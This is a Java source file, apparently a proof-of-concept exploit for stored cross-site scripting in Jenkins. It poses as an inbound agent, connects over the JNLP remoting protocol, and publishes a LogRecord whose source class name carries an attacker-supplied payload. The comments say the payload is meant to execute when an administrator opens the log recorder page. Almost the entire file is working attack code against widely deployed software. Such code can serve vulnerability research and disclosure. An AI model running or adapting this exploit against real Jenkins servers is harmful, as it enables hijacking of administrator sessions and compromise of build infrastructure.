import hudson.remoting.Engine;
import hudson.remoting.EngineListenerAdapter;
import java.net.URL;
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.logging.Level;
import java.util.logging.LogRecord;
import java.util.logging.Logger;

/**
 * Attacker-controlled Jenkins agent process.
 * Connects to the controller through the real inbound-agent (JNLP) remoting
 * protocol, waits for the channel, then publishes a java.util.logging
 * LogRecord with an attacker-controlled sourceClassName under the
 * "hudson.slaves.SlaveComputer" logger namespace. The controller-side
 * SlaveInitializer installed a RingBufferLogHandler on that logger during
 * channel setup, so the record is captured in the agent ring buffer and is
 * later fetched over the channel when an administrator views the log
 * recorder page.
 */
public class AgentXss {
    public static void main(String[] args) throws Exception {
        final String secret = args[0];
        final String agentName = args[1];
        final String jnlpUrl = args[2];
        final String payload = args[3];
        final int stayAliveSeconds = Integer.parseInt(args[4]);
        final String credentials = args.length > 5 ? args[5] : null;

        final CountDownLatch connected = new CountDownLatch(1);
        EngineListenerAdapter listener = new EngineListenerAdapter() {
            @Override
            public void status(String msg, Throwable t) {
                System.out.println("ENGINE_STATUS: " + msg + (t != null ? " [" + t + "]" : ""));
                System.out.flush();
                if ("Connected".equals(msg)) {
                    connected.countDown();
                }
            }

            @Override
            public void status(String msg) {
                System.out.println("ENGINE_STATUS: " + msg);
                System.out.flush();
                if ("Connected".equals(msg)) {
                    connected.countDown();
                }
            }

            @Override
            public void error(Throwable t) {
                System.out.println("ENGINE_ERROR: " + t);
                t.printStackTrace(System.out);
                System.out.flush();
            }
        };

        Engine engine = new Engine(listener, List.of(new URL(jnlpUrl)), secret, agentName);
        if (credentials != null && !credentials.isEmpty()) {
            engine.setCredentials(credentials);
        }
        engine.startEngine();

        if (!connected.await(90, TimeUnit.SECONDS)) {
            System.out.println("FAILED: channel was not established within 90s");
            System.exit(2);
        }
        System.out.println("CHANNEL_CONNECTED");

        // Give the controller time to run SlaveInitializer (which installs the
        // agent-side RingBufferLogHandler on the hudson.slaves.SlaveComputer logger).
        Thread.sleep(5000);

        // Benign control record first.
        Logger target = Logger.getLogger("hudson.slaves.SlaveComputer");
        LogRecord benign = new LogRecord(Level.INFO, "agent heartbeat (benign control record)");
        benign.setLoggerName("hudson.slaves.SlaveComputer");
        benign.setSourceClassName("com.example.agent.Benign");
        benign.setSourceMethodName("heartbeat");
        target.log(benign);

        // Malicious record: attacker controls every LogRecord field.
        LogRecord malicious = new LogRecord(Level.SEVERE, "routine agent message");
        malicious.setLoggerName("hudson.slaves.SlaveComputer");
        malicious.setSourceClassName(payload);
        malicious.setSourceMethodName(null);
        target.log(malicious);

        System.out.println("MALICIOUS_RECORD_PUBLISHED");
        System.out.flush();

        // Stay alive so the controller can fetch the agent ring buffer on demand
        // when the administrator views the log recorder page.
        Thread.sleep(stayAliveSeconds * 1000L);
        System.out.println("AGENT_DONE");
    }
}
